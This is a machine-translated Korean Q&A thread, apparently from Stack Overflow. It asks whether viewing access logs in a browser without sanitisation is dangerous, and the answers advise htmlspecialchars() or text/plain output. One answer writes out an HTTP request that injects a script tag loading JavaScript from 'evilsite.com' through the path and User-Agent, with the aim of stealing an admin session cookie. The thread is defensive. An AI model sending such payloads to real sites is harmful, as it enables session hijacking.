2009-06-26 1 views
5

웹 브라우저를 통해 위생 처리없이 액세스 로그를 보는 것은 위험한 일입니까?웹 브라우저를 통해 살균하지 않고 액세스 로그를 보는 것은 위험한 일입니까?

액세스 로그를 기록하고 wev 브라우저를 통해 볼 것을 고려 중입니다. 그러나 공격자가 원격 호스트 또는 사용자 에이전트 또는 다른 것을 수정하면 공격 할 수 있습니까?

공격 코드를 원격 호스트 또는 사용자 에이전트 또는 기타 요원에게 삽입합니다.

그래서 웹 브라우저를 통해 액세스 로그 파일을 열기 전에 htmlspecialchar에 의해 위생을해야합니까?

공격자가 원격 호스트 또는 사용자 에이전트에 공격 코드를 삽입하면 웹 브라우저를 통해 액세스 로그가 표시되고 내 PC가 해당 코드에 영향을받습니다.

답변

3

아마도 출력을위한 일부 html 형식이 필요하므로 로그 데이터를 삭제/인코딩해야합니다. 그러나 인수를 위해서 : 출력을 텍스트/plain으로 보내면 클라이언트는 html/javascript를 파싱하지 않아야합니다.
예.

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
의 출력은
<script>alert(document.URL);</script>
(적어도 FF3, IE8, 오페라, 사파리에서는)으로 표시됩니다.

+1

예, 감사합니다. 그런 다음 로그 파일 확장명을 "txt"로 설정하는 것이 안전하므로 안전합니다. –

+0

"log.txt"는 안전하지만 "log.html"은 위험합니다. –

+0

"log.txt"가 정말로 솔루션 인 경우 질문에 "php php5"라는 태그가 붙어 있습니까? – VolkerK

4

이론적으로 가능합니다. 그렇습니다. 그런 식으로 사고하는 올바른 사고 방식을 가지고 있다고 생각하면 좋습니다. 통제되지 않은 입력을 웹 브라우저에 표시하기 전에 위생 처리하는 것은 항상 좋은 생각입니다.

htmlspecialchars()을 통해 로그 출력을 실행합니다.

5

예, 위험합니다.

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

을 그리고 악성 자바 스크립트를 사용하여보기 페이지를 손상 :

예를 들어, 악의적 인 사용자는이 같은 것을 요청할 수 있습니다.

아마도 사이트의 로그를보고 있으므로 관리 권한이있는 계정으로 로그인해야합니다. 악의적 인 JavaScript를 사용하면 공격자가 세션 쿠키를 훔쳐 세션을 인계 받아 로그인하는 동안 수행 할 수있는 모든 작업을 완료 할 수 있습니다.

따라서 결론적으로 탈출 액세스 로그 페이지 관리 계정이 손상되는 것을 좋아합니다.

+0

넵. 내 서버 로그에서 이와 같은 작업을 시도 했으므로 웹 페이지에서 스크립트의 일부를보기 전에 스크립트를 삭제합니다. –

관련 문제